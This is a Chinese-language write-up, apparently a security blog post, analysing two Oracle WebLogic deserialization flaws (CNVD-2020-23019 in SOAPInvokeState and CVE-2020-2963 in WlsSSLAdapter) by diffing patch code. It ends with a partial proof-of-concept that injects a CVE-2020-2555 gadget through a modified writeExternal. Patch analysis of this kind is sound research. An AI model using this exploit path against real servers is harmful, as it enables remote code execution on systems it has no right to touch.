简介 这两个洞应该都是5月更新的补丁,分析时候无意中发现的。看了一下漏洞挺简单,就是利用有点苛刻 SOAPInvokeState CNVD-2020-23019 diff 补丁,截图如下 可以很明显的看出,将ObjectInputStream更改为FilterInputStream。在weblogic中,FilterInputStream负责检查反序列化的类种是否存在可以利用的Gadget,而ObjectInputStream不会。并且在类的readObject 方法中,通过T3协议反序列化默认的参数为FilterInputStream,以此来防御反序列化漏洞。 除非类的readObject中乱调用ObjectInputStream,否则是不会产生反序列化漏洞的。 在SOAPInvokeState的readExternal中,我们只要能走入以下的流程即可 if((flags & 1) != 0) { try { len = in.readInt(); byte[] bytes = new byte[len]; in.readFully(bytes); bytes = EncryptionUtil.decrypt(bytes); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in2 = new ObjectInputStream(bais); this.subject = (AuthenticatedSubject)in2.readObject(); } catch (Exception var13) { (new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13); } 看一下writeExternal方法,被实例化的类中存在subject,就可以让readExternal执行上面的反序列化流程 if(this.subject != null) { ByteArrayOutputStream var12 = new ByteArrayOutputStream(); ObjectOutputStream var13 = new ObjectOutputStream(var12); var13.writeObject(this.subject); var13.flush(); byte[] var5 = var12.toByteArray(); var5 = EncryptionUtil.encrypt(var5); var1.writeInt(var5.length); var1.write(var5); } 当然,还下面问题 加密 在EncryptionUtil.encrypt加密时,会根据Kernel.isServer()为true,才会进行加密,否则返回原数据。 因此加密之前需要调用KernelStatus.setIsServer(true)设置状态为true,或者强行加密。 public static byte[] encrypt(byte[] var0) { returngetEncryptionService().encryptBytes(var0); } 在weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService中,会读取SerializedSystemIni.dat作为密钥,也就是说,需要认证或者配合文件读取才能利用该漏洞去攻击weblogic public static EncryptionService getExistingEncryptionService() { String var0 = DomainDir.getRootDir(); String var1 = var0 + File.separator + "security"+ File.separator + "SerializedSystemIni.dat"; File var2 = new File(var1); if(!var2.exists()) { String var3 = var0 + File.separator + "SerializedSystemIni.dat"; File var4 = new File(var3); if(!var4.exists()) { returnnull; } var1 = var3; } SerializedSystemIni var5 = new SerializedSystemIni(var1); returngetEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey()); POC 魔改一下 writeExternal为下面的代码,再反序列化即可 BadAttributeValueExpException exp = null; try { exp = cve_2020_2555.getBadAttributeValueExpException(); } catch (Exception e) { e.printStackTrace(); } out2.writeObject(exp); out2.flush(); byte[] bytes = baos.toByteArray(); bytes = EncryptionUtil.encrypt(bytes); out.writeInt(bytes.length); out.write(bytes); } } WlsSSLAdapter CVE-2020-2963 原理一样,详见下面的代码 private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException { int length = in.readInt(); if(length <= 0) { returnin.readObject(); } else{ byte[] bytes = new byte[length]; in.readFully(bytes); bytes = EncryptionUtil.decrypt(bytes); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in2 = new ObjectInputStream(bais); returnin2.readObject(); } }